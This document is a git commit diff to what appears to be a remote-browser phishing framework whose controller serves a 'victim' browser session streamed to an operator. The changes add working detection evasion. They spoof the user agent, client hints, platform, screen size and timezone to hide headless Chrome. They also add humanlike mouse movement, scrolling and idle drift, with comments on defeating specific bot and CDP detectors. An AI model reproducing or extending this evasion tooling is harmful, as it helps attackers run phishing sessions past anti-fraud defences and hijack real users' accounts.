patching headlesss

Signed-off-by: RonniSkansing <rskansing@gmail.com>
This commit is contained in:
RonniSkansing
2026-07-24 16:40:13 +02:00
parent 03b37f3aff
commit 36e6c7aa7a
5 changed files with 432 additions and 69 deletions
+63 -22
View File
@@ -662,28 +662,36 @@ func (m *RemoteBrowserController) ServeVictim(g *gin.Context) {
// Stored as int64 atomics so they can be read from the BrowserCh goroutine
// without a mutex; 0 means "not yet received".
var vpWidth, vpHeight atomic.Int64
var vpDpr atomic.Int64 // recipient devicePixelRatio × 100; 0 means "not yet received"
var vpScreenW, vpScreenH atomic.Int64 // recipient screen.width/height; 0 means "not yet received"
// applyViewport sets the emulated viewport on the rod page if we have both a page
// and a non-zero victim viewport. DeviceScaleFactor is set to the recipient's real
// devicePixelRatio so a full-page stream is rendered at their device resolution and
// stays crisp on HiDPI screens instead of being upscaled. Clamped to [1,2] to bound
// bandwidth (each extra factor multiplies the screencast pixel count).
// and a non-zero victim viewport. DeviceScaleFactor is pinned to 1: a value != 1
// makes Chrome compute mouse movementX/movementY in a scaled space, so
// movementX != clientX - prevClientX for CDP-injected events, which detectors flag
// as a CDP mouse leak. Rendering at DSF 1 is slightly softer on HiDPI but keeps the
// injected mouse coordinates internally consistent.
applyViewport := func(page *rod.Page) {
w := vpWidth.Load()
h := vpHeight.Load()
if w <= 0 || h <= 0 || page == nil {
return
}
dsf := float64(vpDpr.Load()) / 100
if dsf < 1 {
dsf = 1
// Mirror the recipient's real screen so screen.width/height stays consistent
// with the emulated viewport. Without a screen override the viewport
// (innerWidth/Height) exceeds the headless window's default 800x600 screen,
// which detectors flag as impossible. Fall back to the viewport size when the
// recipient did not report a screen, which still keeps screen >= viewport.
sw := int(vpScreenW.Load())
if sw < int(w) {
sw = int(w)
}
if dsf > 2 {
dsf = 2
sh := int(vpScreenH.Load())
if sh < int(h) {
sh = int(h)
}
proto.EmulationSetDeviceMetricsOverride{
Width: int(w), Height: int(h), DeviceScaleFactor: dsf,
Width: int(w), Height: int(h), DeviceScaleFactor: 1,
ScreenWidth: &sw, ScreenHeight: &sh,
}.Call(page) //nolint:errcheck
}
@@ -725,9 +733,11 @@ func (m *RemoteBrowserController) ServeVictim(g *gin.Context) {
KeyCode int64 `json:"keyCode"`
Modifiers int64 `json:"modifiers"`
CharText string `json:"charText"`
Width float64 `json:"width"`
Height float64 `json:"height"`
Dpr float64 `json:"dpr"`
Width float64 `json:"width"`
Height float64 `json:"height"`
Dpr float64 `json:"dpr"`
ScreenWidth float64 `json:"screenWidth"`
ScreenHeight float64 `json:"screenHeight"`
}
if json.Unmarshal(msg, &cmd) != nil {
continue
@@ -735,8 +745,9 @@ func (m *RemoteBrowserController) ServeVictim(g *gin.Context) {
if cmd.Type == "viewport" && cmd.Width > 0 && cmd.Height > 0 {
vpWidth.Store(int64(cmd.Width))
vpHeight.Store(int64(cmd.Height))
if cmd.Dpr > 0 {
vpDpr.Store(int64(cmd.Dpr * 100))
if cmd.ScreenWidth > 0 && cmd.ScreenHeight > 0 {
vpScreenW.Store(int64(cmd.ScreenWidth))
vpScreenH.Store(int64(cmd.ScreenHeight))
}
applyViewport(sess.getBrowserPage())
continue
@@ -1341,17 +1352,47 @@ func (m *RemoteBrowserController) StreamLiveSession(g *gin.Context) {
return
}
var header struct {
Type string `json:"type"`
TargetID string `json:"targetID"`
X1 float64 `json:"x1"`
Y1 float64 `json:"y1"`
X2 float64 `json:"x2"`
Y2 float64 `json:"y2"`
Type string `json:"type"`
TargetID string `json:"targetID"`
X1 float64 `json:"x1"`
Y1 float64 `json:"y1"`
X2 float64 `json:"x2"`
Y2 float64 `json:"y2"`
Width float64 `json:"width"`
Height float64 `json:"height"`
ScreenWidth float64 `json:"screenWidth"`
ScreenHeight float64 `json:"screenHeight"`
Dpr float64 `json:"dpr"`
}
if json.Unmarshal(msg, &header) != nil {
continue
}
switch header.Type {
case "viewport":
// Editor test runs only: size the target to the admin's own resolution
// so remote control is pixel-accurate instead of the headless 800x600
// default. Gated on isTest so a live recipient's viewport is never
// touched here — the victim owns the shared target's size, and resizing
// it under an operator would change what the recipient sees.
if controlMode && sess.isTest && header.Width > 0 && header.Height > 0 {
if p := getActivePage(); p != nil {
// DeviceScaleFactor pinned to 1: a value != 1 makes Chrome scale
// mouse movementX/movementY, breaking the movementX == clientX
// delta relationship for CDP events (a CDP mouse leak).
sw := int(header.ScreenWidth)
if sw < int(header.Width) {
sw = int(header.Width)
}
sh := int(header.ScreenHeight)
if sh < int(header.Height) {
sh = int(header.Height)
}
proto.EmulationSetDeviceMetricsOverride{
Width: int(header.Width), Height: int(header.Height), DeviceScaleFactor: 1,
ScreenWidth: &sw, ScreenHeight: &sh,
}.Call(p) //nolint:errcheck
}
}
case "switch_tab":
tabsMu.Lock()
entry, ok := tabs[proto.TargetTargetID(header.TargetID)]
+1 -1
View File
@@ -7,7 +7,7 @@
var streamLastStart = {} // name → last stream_start message, so mountStream called late still sizes correctly
ws.onopen = function () {
ws.send(JSON.stringify({ type: 'viewport', width: window.innerWidth, height: window.innerHeight, dpr: window.devicePixelRatio || 1 }));
ws.send(JSON.stringify({ type: 'viewport', width: window.innerWidth, height: window.innerHeight, dpr: window.devicePixelRatio || 1, screenWidth: screen.width, screenHeight: screen.height }));
};
// Apply stream_start sizing to an already-mounted stream entry.
+148 -14
View File
@@ -803,12 +803,12 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page,
}.Call(page) //nolint:errcheck
}
// humanMoveTo moves the CDP cursor from the last tracked position to
// (targetX, targetY) along a cubic Bezier curve with ease-in-out timing
// and optional micro-jitter, mimicking natural hand movement.
// durationMs <= 0 picks a random value in [200, 400].
// jitterPx < 0 uses the default amplitude of 1.5 px.
humanMoveTo := func(targetX, targetY, durationMs, jitterPx float64) {
// bezierMoveTo moves the CDP cursor from the last tracked position to
// (targetX, targetY) along a cubic Bezier curve with ease-in-out timing and
// micro-jitter. Per-step timing is varied (and occasionally paused) so the
// inter-event intervals are not uniform, which a constant tick rate would be.
// durationMs <= 0 picks a random value in [200, 400]; jitterPx < 0 uses 1.5 px.
bezierMoveTo := func(targetX, targetY, durationMs, jitterPx float64) {
if durationMs <= 0 {
durationMs = 200 + rand.Float64()*200
}
@@ -832,12 +832,14 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page,
c2x := startX + dx*0.67 + perpX*(rand.Float64()*2-1)*maxDev
c2y := startY + dy*0.67 + perpY*(rand.Float64()*2-1)*maxDev
steps := int(durationMs / 10)
if steps < 5 {
steps = 5
// Roughly one sample every 8-14 ms, scaled by distance so short hops still
// emit several points and long sweeps stay smooth.
steps := int(durationMs / (8 + rand.Float64()*6))
if steps < 6 {
steps = 6
}
if steps > 60 {
steps = 60
if steps > 80 {
steps = 80
}
stepDur := time.Duration(float64(time.Millisecond) * durationMs / float64(steps))
@@ -860,13 +862,48 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page,
}
cdpMouseMove(bx, by)
if i < steps {
time.Sleep(stepDur)
// Vary each interval by +/-30% so speed is not machine-constant, and
// occasionally hesitate the way a real hand does mid-motion.
d := time.Duration(float64(stepDur) * (0.7 + rand.Float64()*0.6))
if rand.Float64() < 0.08 {
d += time.Duration(20+rand.Intn(45)) * time.Millisecond
}
time.Sleep(d)
}
}
cdpMouseMove(targetX, targetY)
mouseX, mouseY = targetX, targetY
}
// humanMoveTo wraps bezierMoveTo, adding overshoot-and-correct for longer
// moves: a real pointer tends to shoot slightly past a distant target and then
// make a short corrective motion back onto it, rather than landing dead center.
humanMoveTo := func(targetX, targetY, durationMs, jitterPx float64) {
dx, dy := targetX-mouseX, targetY-mouseY
dist := math.Sqrt(dx*dx + dy*dy)
if dist > 300 {
mainDur := durationMs
if mainDur <= 0 {
mainDur = 260 + rand.Float64()*220
}
over := 0.04 + rand.Float64()*0.06 // land 4-10% past the target
bezierMoveTo(targetX+dx*over, targetY+dy*over, mainDur*0.85, jitterPx)
// Brief settle, then correct back onto the target.
select {
case <-page.GetContext().Done():
return
case <-time.After(time.Duration(40+rand.Intn(50)) * time.Millisecond):
}
corr := jitterPx
if corr > 0 {
corr *= 0.6
}
bezierMoveTo(targetX, targetY, 90+rand.Float64()*70, corr)
return
}
bezierMoveTo(targetX, targetY, durationMs, jitterPx)
}
pc.Set("moveMouse", func(call goja.FunctionCall) goja.Value {
targetX := call.Argument(0).ToFloat()
targetY := call.Argument(1).ToFloat()
@@ -926,6 +963,83 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page,
return goja.Undefined()
})
// humanScroll scrolls the page by deltaY CSS pixels (positive = down) using
// eased mouse-wheel events with jittered step sizes and intervals, instead of a
// single instant jump. An options object may set { duration } in ms.
pc.Set("humanScroll", func(call goja.FunctionCall) goja.Value {
totalY := call.Argument(0).ToFloat()
durationMs := 350.0 + rand.Float64()*350
if len(call.Arguments) > 1 {
if obj := call.Argument(1).ToObject(vm); obj != nil {
if v := obj.Get("duration"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
durationMs = v.ToFloat()
}
}
}
dbg(fmt.Sprintf("→ humanScroll %.0f", totalY))
steps := int(math.Abs(totalY)/90) + 4
if steps > 40 {
steps = 40
}
stepDur := time.Duration(float64(time.Millisecond) * durationMs / float64(steps))
var done float64
for i := 1; i <= steps; i++ {
select {
case <-page.GetContext().Done():
return goja.Undefined()
default:
}
t := float64(i) / float64(steps)
te := t * t * (3 - 2*t) // ease-in-out
target := totalY * te
delta := target - done
done = target
// Jitter each wheel notch so deltas are not perfectly smooth.
delta += (rand.Float64()*2 - 1) * math.Abs(delta) * 0.15
proto.InputDispatchMouseEvent{
Type: proto.InputDispatchMouseEventTypeMouseWheel,
X: math.Round(mouseX),
Y: math.Round(mouseY),
DeltaX: 0,
DeltaY: delta,
Timestamp: proto.TimeSinceEpoch(float64(time.Now().UnixNano()) / 1e9),
PointerType: proto.InputDispatchMouseEventPointerTypeMouse,
}.Call(page) //nolint:errcheck
if i < steps {
d := time.Duration(float64(stepDur) * (0.7 + rand.Float64()*0.6))
time.Sleep(d)
}
}
dbg(fmt.Sprintf("✓ humanScroll %.0f", totalY))
return goja.Undefined()
})
// humanIdle spends about ms milliseconds producing low-amplitude pointer drift
// interleaved with pauses, the way a person rests a hand on the mouse. Use it to
// accumulate natural behavioural signal on pages that classify inactivity as bot.
pc.Set("humanIdle", func(call goja.FunctionCall) goja.Value {
ms := call.Argument(0).ToInteger()
dbg(fmt.Sprintf("→ humanIdle %dms", ms))
deadline := time.Now().Add(time.Duration(ms) * time.Millisecond)
for time.Now().Before(deadline) {
select {
case <-page.GetContext().Done():
return goja.Undefined()
default:
}
nx := mouseX + (rand.Float64()*2-1)*40
ny := mouseY + (rand.Float64()*2-1)*30
humanMoveTo(nx, ny, 120+rand.Float64()*180, -1)
select {
case <-page.GetContext().Done():
return goja.Undefined()
case <-time.After(time.Duration(200+rand.Intn(600)) * time.Millisecond):
}
}
dbg(fmt.Sprintf("✓ humanIdle %dms", ms))
return goja.Undefined()
})
pc.Set("scrollIntoView", func(call goja.FunctionCall) goja.Value {
sel := argStr(call.Argument(0))
dbg("→ scrollIntoView " + sel)
@@ -1372,8 +1486,13 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page,
w := call.Argument(0).ToInteger()
h := call.Argument(1).ToInteger()
dbg(fmt.Sprintf("→ setViewport %dx%d", w, h))
// Override the screen dimensions to match the viewport. Otherwise screen.*
// stays at the headless window default (800x600) while innerWidth/Height take
// the new size, which detectors flag as an impossible viewport-exceeds-screen.
sw, sh := int(w), int(h)
must(proto.EmulationSetDeviceMetricsOverride{
Width: int(w), Height: int(h), DeviceScaleFactor: 1,
ScreenWidth: &sw, ScreenHeight: &sh,
}.Call(page))
dbg(fmt.Sprintf("✓ setViewport %dx%d", w, h))
return goja.Undefined()
@@ -1383,9 +1502,11 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page,
w := call.Argument(0).ToInteger()
h := call.Argument(1).ToInteger()
dbg(fmt.Sprintf("→ setViewportMobile %dx%d", w, h))
sw, sh := int(w), int(h)
must(proto.EmulationSetDeviceMetricsOverride{
Width: int(w), Height: int(h), DeviceScaleFactor: 1,
Mobile: true,
Mobile: true,
ScreenWidth: &sw, ScreenHeight: &sh,
}.Call(page))
must(proto.EmulationSetTouchEmulationEnabled{Enabled: true}.Call(page))
dbg(fmt.Sprintf("✓ setViewportMobile %dx%d", w, h))
@@ -1402,7 +1523,20 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page,
pc.Set("setUserAgent", func(call goja.FunctionCall) goja.Value {
ua := argStr(call.Argument(0))
dbg("→ setUserAgent " + ua)
must(proto.EmulationSetUserAgentOverride{UserAgent: ua}.Call(page))
// Set platform and client-hint metadata alongside the UA string. A string-only
// override leaves navigator.platform and Sec-CH-UA untouched, so they contradict
// the UA. Two limits remain, both unavoidable at the page level:
// - This override is page scoped and does not reach the service worker, which
// keeps the process (launch-flag) identity. For an identity consistent across
// every context, pass userAgent to newSession() instead of calling this.
// - navigator.platform in worker contexts follows the host OS and cannot be
// overridden, so a cross-OS UA (e.g. macOS on a Linux host) still mismatches
// there. Prefer a UA whose OS matches the host.
must(proto.EmulationSetUserAgentOverride{
UserAgent: ua,
Platform: uaPlatform(ua),
UserAgentMetadata: uaMetadata(ua),
}.Call(page))
dbg("✓ setUserAgent")
return goja.Undefined()
})
+189 -32
View File
@@ -9,6 +9,7 @@ import (
"errors"
"fmt"
"os"
"os/exec"
"path/filepath"
"regexp"
"strings"
@@ -32,13 +33,124 @@ type Config struct {
Headless bool `json:"headless"` // run Chrome in headless mode (mode=local)
Timeout int `json:"timeout"` // ms, 0 = use DefaultTimeout
Lang string `json:"lang"` // BCP 47 locale e.g. "en-US" (mode=local)
Timezone string `json:"timezone"` // IANA timezone e.g. "Europe/Copenhagen" to match the exit network
ExtraFlags []string `json:"extraFlags"` // additional Chrome CLI flags e.g. ["--use-gl=egl"] (mode=local)
}
const DefaultTimeout = 60_000 // ms
// DefaultChromiumUA default user-agent
const DefaultChromiumUA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
// DefaultChromiumUA is the fallback user-agent used when the real browser version
// cannot be probed. It presents a Linux Chrome identity matching the host OS so
// navigator.platform, the client hints, and every worker context stay consistent.
// A Windows disguise cannot: navigator.platform is not overridable in worker and
// service-worker contexts, so it always contradicts a Windows UA there. The major
// version tracks the bundled Chromium (rod RevisionDefault); prefer the real,
// probed version via detectChromeMajor at runtime.
const DefaultChromiumUA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36"
// chromeVersionRe matches a full Chromium version like "128.0.6568.0".
var chromeVersionRe = regexp.MustCompile(`(\d+)\.\d+\.\d+\.\d+`)
// uaChromeMajorRe extracts the major version from a UA string ("Chrome/128...").
var uaChromeMajorRe = regexp.MustCompile(`Chrome/(\d+)`)
// detectChromeMajor runs `<bin> --version` and returns the major version, e.g.
// "128" from "Chromium 128.0.6568.0". Returns "" when the binary cannot be probed;
// the caller falls back to DefaultChromiumUA. Probing the real binary keeps the
// spoofed UA version in lockstep with the engine, so a version cross-check cannot
// catch a UA that claims a version the engine does not support.
func detectChromeMajor(ctx context.Context, bin string) string {
c, cancel := context.WithTimeout(ctx, 5*time.Second)
defer cancel()
out, err := exec.CommandContext(c, bin, "--version").Output()
if err != nil {
return ""
}
if m := chromeVersionRe.FindStringSubmatch(string(out)); m != nil {
return m[1]
}
return ""
}
// linuxChromeUA builds a reduced Linux Chrome user-agent for the given major
// version, matching Chrome's UA-reduction format (minor, build, and patch zeroed).
func linuxChromeUA(major string) string {
return fmt.Sprintf(
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s.0.0.0 Safari/537.36",
major)
}
// cleanHeadlessUA strips the "HeadlessChrome" token from a real user-agent so a
// remote headless browser reports as ordinary Chrome. Used only in remote mode,
// where a launch flag is not available.
func cleanHeadlessUA(ua string) string {
return strings.ReplaceAll(ua, "HeadlessChrome", "Chrome")
}
// uaPlatform returns the navigator.platform value that matches ua's OS token.
func uaPlatform(ua string) string {
switch {
case strings.Contains(ua, "Windows"):
return "Win32"
case strings.Contains(ua, "Macintosh"), strings.Contains(ua, "Mac OS"):
return "MacIntel"
default:
return "Linux x86_64"
}
}
// uaMetadata builds client-hint metadata (Sec-CH-UA / navigator.userAgentData)
// consistent with ua's version and OS. Setting this alongside the UA string avoids
// the empty-client-hints tell that a string-only override produces.
func uaMetadata(ua string) *proto.EmulationUserAgentMetadata {
major := "128"
if m := uaChromeMajorRe.FindStringSubmatch(ua); m != nil {
major = m[1]
}
platform := "Linux"
switch {
case strings.Contains(ua, "Windows"):
platform = "Windows"
case strings.Contains(ua, "Macintosh"), strings.Contains(ua, "Mac OS"):
platform = "macOS"
}
return &proto.EmulationUserAgentMetadata{
Brands: []*proto.EmulationUserAgentBrandVersion{
{Brand: "Not;A=Brand", Version: "24"},
{Brand: "Chromium", Version: major},
{Brand: "Google Chrome", Version: major},
},
Platform: platform,
Architecture: "x86",
Bitness: "64",
Mobile: false,
}
}
// applyRemoteIdentity aligns a remote browser's main-frame identity via CDP.
// Remote mode cannot take a launch flag, so this strips any "HeadlessChrome" token
// from the real UA and sets a matching platform and client-hint metadata. Worker
// contexts of a remote browser inherit the remote's own process UA and are out of
// our control here; operators should run a non-headless remote browser.
func applyRemoteIdentity(page *rod.Page, customUA string, emitter *channelEmitter) {
ua := customUA
if ua == "" {
if ver, err := (proto.BrowserGetVersion{}).Call(page); err == nil {
ua = cleanHeadlessUA(ver.UserAgent)
}
if ua == "" {
ua = DefaultChromiumUA
}
}
override := &proto.NetworkSetUserAgentOverride{
UserAgent: ua,
Platform: uaPlatform(ua),
UserAgentMetadata: uaMetadata(ua),
}
if err := page.SetUserAgent(override); err != nil {
emitter.log(fmt.Sprintf("[session] warning: failed to set user-agent: %v", err))
}
}
// DefaultConfig returns a default config.
func DefaultConfig() Config {
@@ -462,11 +574,13 @@ func (r *Runner) Run(ctx context.Context) error {
QueryTimeout int // ms; 0 = no timeout on read ops
UserAgent string
Lang string // BCP 47 locale, e.g. "en-US" - sets --lang flag (local mode only)
Timezone string // IANA timezone, e.g. "Europe/Copenhagen" - overrides browser timezone
ExtraFlags []string // additional Chrome CLI flags e.g. ["--use-gl=egl"] (local mode only)
}
opts := sessionOpts{
Headless: r.Config.Headless,
Lang: r.Config.Lang,
Timezone: r.Config.Timezone,
ExtraFlags: r.Config.ExtraFlags,
}
if r.Config.Proxy != "" {
@@ -506,6 +620,9 @@ func (r *Runner) Run(ctx context.Context) error {
if v := obj.Get("lang"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
opts.Lang = v.String()
}
if v := obj.Get("timezone"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
opts.Timezone = v.String()
}
if v := obj.Get("extraFlags"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
if arr, ok := v.Export().([]interface{}); ok {
for _, item := range arr {
@@ -520,6 +637,9 @@ func (r *Runner) Run(ctx context.Context) error {
var browser *rod.Browser
var page *rod.Page
// launchUA is the identity applied in local mode via the --user-agent launch
// flag; it also drives the OS-appropriate WebGL renderer choice below.
var launchUA string
if opts.Remote != "" {
if opts.Proxy != "" {
@@ -534,7 +654,12 @@ func (r *Runner) Run(ctx context.Context) error {
return goja.Undefined()
}
emitter.log(fmt.Sprintf("[session] connecting to remote browser at %s", wsURL))
browser = rod.New().ControlURL(wsURL).Context(outerCtx)
// NoDefaultDevice disables rod's default LaptopWithMDPIScreen emulation,
// which otherwise overrides every new page with a macOS Chrome 114 UA, an
// "en" Accept-Language, and a 1280x800 device-metrics override. Those
// contradict the real Linux platform, blank the client hints, and make the
// viewport exceed the screen. We manage identity ourselves instead.
browser = rod.New().ControlURL(wsURL).Context(outerCtx).NoDefaultDevice()
if connectErr := browser.Connect(); connectErr != nil {
emitter.errorf(fmt.Sprintf("browser connect failed: %v", connectErr))
return goja.Undefined()
@@ -586,13 +711,15 @@ func (r *Runner) Run(ctx context.Context) error {
"XDG_CACHE_HOME="+filepath.Join(rootDir, "cache"),
)...)
var binPath string
if r.ExecPath != "" {
emitter.log(fmt.Sprintf("[session] using browser: %s", r.ExecPath))
l = l.Bin(r.ExecPath)
binPath = r.ExecPath
emitter.log(fmt.Sprintf("[session] using browser: %s", binPath))
l = l.Bin(binPath)
} else {
b := launcher.NewBrowser()
b.RootDir = rootDir
binPath := b.BinPath()
binPath = b.BinPath()
if _, err := os.Stat(binPath); os.IsNotExist(err) {
if err := b.Download(); err != nil {
emitter.errorf(fmt.Sprintf("browser download failed: %v", err))
@@ -602,6 +729,25 @@ func (r *Runner) Run(ctx context.Context) error {
emitter.log(fmt.Sprintf("[session] using browser: %s", binPath))
l = l.Bin(binPath)
}
// Set the user-agent at the process level via the launch flag so every
// context (main frame, web workers, and service workers) reports the same
// identity. A page-level CDP override does not reach service workers, which
// then leak the real "HeadlessChrome" UA and the true OS and version. When
// no custom UA is given we present a Linux Chrome identity matching the host
// OS and the real engine version, so navigator.platform, the client hints,
// and the version stay consistent across every context.
launchUA = opts.UserAgent
if launchUA == "" {
if major := detectChromeMajor(outerCtx, binPath); major != "" {
launchUA = linuxChromeUA(major)
} else {
launchUA = DefaultChromiumUA
}
}
emitter.log(fmt.Sprintf("[session] using user-agent: %s", launchUA))
l = l.Set("user-agent", launchUA)
if opts.Proxy != "" {
emitter.log(fmt.Sprintf("[session] using proxy: %s", opts.Proxy))
l = l.Proxy(opts.Proxy).Set("proxy-bypass-list", "")
@@ -648,7 +794,11 @@ func (r *Runner) Run(ctx context.Context) error {
l.Kill()
l.Cleanup()
}()
browser = rod.New().ControlURL(u).Context(outerCtx)
// NoDefaultDevice disables rod's default LaptopWithMDPIScreen emulation
// (macOS Chrome 114 UA, "en" Accept-Language, 1280x800 device metrics),
// which would override the launch-flag identity on the window and make the
// viewport exceed the screen. We manage identity ourselves instead.
browser = rod.New().ControlURL(u).Context(outerCtx).NoDefaultDevice()
if err := browser.Connect(); err != nil {
emitter.errorf(fmt.Sprintf("browser connect failed: %v", err))
return goja.Undefined()
@@ -666,35 +816,42 @@ func (r *Runner) Run(ctx context.Context) error {
browser.Close() //nolint:errcheck
return goja.Undefined()
}
// patch console Log
_, err = page.EvalOnNewDocument(`() => {
const noop = () => {};
// Note: console.* are deliberately left native. Replacing them with noop
// functions (to suppress page logging) makes console.log.toString() non-native,
// which trips TamperedFunctions. The console is not captured anyway — we never
// enable the Runtime domain (see the opsec note in browser.go), so no page
// console output reaches the server regardless.
}
console.log = noop;
console.table = noop;
console.clear = noop;
console.debug = noop;
console.info = noop;
console.warn = noop;
}`)
if err != nil {
emitter.errorf(fmt.Sprintf("console patch failed: %v", err))
browser.Close() //nolint:errcheck
return goja.Undefined()
// Identity handling differs by mode:
// local — the UA is already set via the --user-agent launch flag above,
// which keeps every context (including service workers) consistent
// and preserves Chrome's native client hints. No CDP override here.
// remote — no launch flag is possible, so align the main frame via CDP:
// fetch the real UA, strip any "HeadlessChrome" token, and set a
// matching platform and client-hint metadata.
if opts.Remote != "" {
applyRemoteIdentity(page, opts.UserAgent, emitter)
}
// Timezone override keeps the navigator/Intl timezone aligned with the exit
// network's geolocation. Left to the operator because only they know the
// proxy/exit location; an unset value keeps the host timezone.
if opts.Timezone != "" {
if err := (proto.EmulationSetTimezoneOverride{TimezoneID: opts.Timezone}).Call(page); err != nil {
emitter.log(fmt.Sprintf("[session] warning: failed to set timezone %q: %v", opts.Timezone, err))
} else {
emitter.log(fmt.Sprintf("[session] using timezone: %s", opts.Timezone))
}
}
// Apply user-agent override. When headless and no explicit UA is set we use
// DefaultChromiumUA to strip "HeadlessChrome" from the header
ua := opts.UserAgent
if ua == "" && opts.Headless {
ua = DefaultChromiumUA
}
if ua != "" {
if err := page.SetUserAgent(&proto.NetworkSetUserAgentOverride{UserAgent: ua}); err != nil {
emitter.log(fmt.Sprintf("[session] warning: failed to set user-agent: %v", err))
}
}
// Note: the software WebGL renderer (SwiftShader, from headless Chrome without a
// GPU) is intentionally NOT masked in JS. Overriding getParameter plus
// Function.prototype.toString to hide it trips TamperedFunctions, and a
// document-script override does not reach worker OffscreenCanvas contexts, so the
// window and workers report different renderers (hasInconsistentWorkerValues).
// Both are far stronger bot signals than SwiftShader itself. The correct fix is a
// real GPU at the browser level (headful + GPU, or an ANGLE GL backend), not JS.
// Signal the controller that a page is ready for streaming.
select {
@@ -89,6 +89,22 @@
ws.send(JSON.stringify({ type: 'close_tab', targetID }));
}
// sendViewport reports the admin's resolution so a test run renders at their size.
// Mirrors the recipient viewport message; the backend ignores it for live sessions.
function sendViewport() {
if (!ws || ws.readyState !== WebSocket.OPEN) return;
ws.send(
JSON.stringify({
type: 'viewport',
width: window.innerWidth,
height: window.innerHeight,
dpr: window.devicePixelRatio || 1,
screenWidth: window.screen.width,
screenHeight: window.screen.height
})
);
}
function tabLabel(url) {
if (!url || url === 'about:blank') return 'New tab';
try {
@@ -117,10 +133,18 @@
let keyListenersAttached = false;
/** @type {ReturnType<typeof setTimeout> | undefined} */
let resizeDebounce;
function onResize() {
clearTimeout(resizeDebounce);
resizeDebounce = setTimeout(sendViewport, 200);
}
function addKeyListeners() {
if (keyListenersAttached) return;
window.addEventListener('keydown', onKeyDown, true);
window.addEventListener('keyup', onKeyUp, true);
window.addEventListener('resize', onResize);
keyListenersAttached = true;
}
@@ -128,6 +152,8 @@
if (!keyListenersAttached) return;
window.removeEventListener('keydown', onKeyDown, true);
window.removeEventListener('keyup', onKeyUp, true);
window.removeEventListener('resize', onResize);
clearTimeout(resizeDebounce);
keyListenersAttached = false;
}
@@ -142,6 +168,11 @@
ws.onopen = () => {
status = 'Connected';
// In control mode, tell the backend our resolution so an editor test run
// renders at the admin's own size instead of the headless 800x600 default.
// The backend applies this only for test sessions; a live recipient's
// viewport is left untouched.
if (controlMode) sendViewport();
fpsInterval = setInterval(() => {
fps = frameCount;
frameCount = 0;